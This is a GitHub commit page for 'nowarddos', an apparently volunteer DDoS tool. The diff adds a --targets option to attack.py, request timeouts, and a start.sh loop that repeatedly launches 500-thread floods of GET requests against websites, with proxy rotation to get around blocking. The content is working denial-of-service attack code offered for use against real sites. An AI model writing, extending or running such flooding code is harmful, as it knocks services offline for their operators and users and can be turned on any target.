Skip to content

Commit

Permalink
Added script for auto restart every X seconds with pause
Browse files Browse the repository at this point in the history
  • Loading branch information
olehpetryk authored and OlehPetrykUA committed Feb 28, 2022
1 parent 9ef0d1e commit 6b9336d
Show file tree
Hide file tree
Showing 3 changed files with 39 additions and 7 deletions.
5 changes: 2 additions & 3 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,10 +1,9 @@
# Base image
FROM python:latest

COPY *.py /nowarddos/
COPY requirements.txt /nowarddos/
COPY . /nowarddos/

WORKDIR /nowarddos
RUN pip install -r requirements.txt

ENTRYPOINT ["python", "/nowarddos/updater.py"]
ENTRYPOINT ["/bin/sh", "./start.sh"]
14 changes: 10 additions & 4 deletions attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,8 @@ def clear():
parser.add_argument('threads', nargs='?', default=500)
parser.add_argument("-n", "--no-clear", dest="no_clear", action='store_true')
parser.add_argument("-p", "--proxy-view", dest="proxy_view", action='store_true')
parser.add_argument("-t", "--targets", dest="targets", nargs='+', default=[])
parser.set_defaults(verbose=False)
parser.add_argument("-lo", "--logger-output", dest="logger_output")
parser.add_argument("-lr", "--logger-results", dest="logger_results")
parser.set_defaults(no_clear=False)
Expand All @@ -48,6 +50,8 @@ def clear():
args, unknown = parser.parse_known_args()
no_clear = args.no_clear
proxy_view = args.proxy_view

targets = args.targets
threads = int(args.threads)

logger.remove()
Expand All @@ -61,7 +65,6 @@ def clear():
<cyan>{line}</cyan> - <white>{message}</white>",
level="SUCCESS")


def checkReq():
os.system("python3 -m pip install -r requirements.txt")
os.system("python -m pip install -r requirements.txt")
Expand Down Expand Up @@ -122,6 +125,9 @@ def mainth():
else:
sleep(5)
continue

site = unquote(choice(targets) if targets else data['site']['page'])
logger.info("STARTING ATTACK TO " + site)
logger.info("STARTING ATTACK ON " + data['site']['page'])
site = unquote(data['site']['page'])
if site.startswith('http') == False:
Expand All @@ -130,7 +136,7 @@ def mainth():
attacks_number = 0

try:
attack = scraper.get(site)
attack = scraper.get(site, timeout=10)

if attack.status_code >= 302:
for proxy in data['proxy']:
Expand All @@ -141,13 +147,13 @@ def mainth():
response = scraper.get(site)
if response.status_code >= 200 and response.status_code <= 302:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
response = scraper.get(site, timeout=10)
attacks_number += 1
logger.info("ATTACKED; RESPONSE CODE: " +
str(response.status_code))
else:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
response = scraper.get(site, timeout=10)
attacks_number += 1
logger.info("ATTACKED; RESPONSE CODE: " +
str(response.status_code))
Expand Down
27 changes: 27 additions & 0 deletions start.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
DEFAULT_THREADS=500
DEFAULT_ATTACK_TIME=90
DEFAULT_PAUSE=30

THREADS=${1:-$DEFAULT_THREADS}
ATTACK_TIME=${2:-$DEFAULT_ATTACK_TIME};
PAUSE=${3:-$DEFAULT_PAUSE};

handler()
{
echo "\n\n\n\nHanled SIGINT Killing: "$!"\n\n\n\n";
pkill -9 -f Python;
break;
}

trap handler SIGINT;

while true;
do
echo "\n\n\n\nStarting attack for "$ATTACK_TIME" seconds...\n\n\n\n";
python3 updater.py $THREADS -v -n -p & sleep $ATTACK_TIME;
pidToKill=$!;
kill -9 $pidToKill;
echo "\n\n\n\nKilled: "$pidToKill"\n";
echo "Waiting: "$PAUSE" seconds...\n\n\n\n";
sleep $PAUSE;
done

0 comments on commit 6b9336d

Please sign in to comment.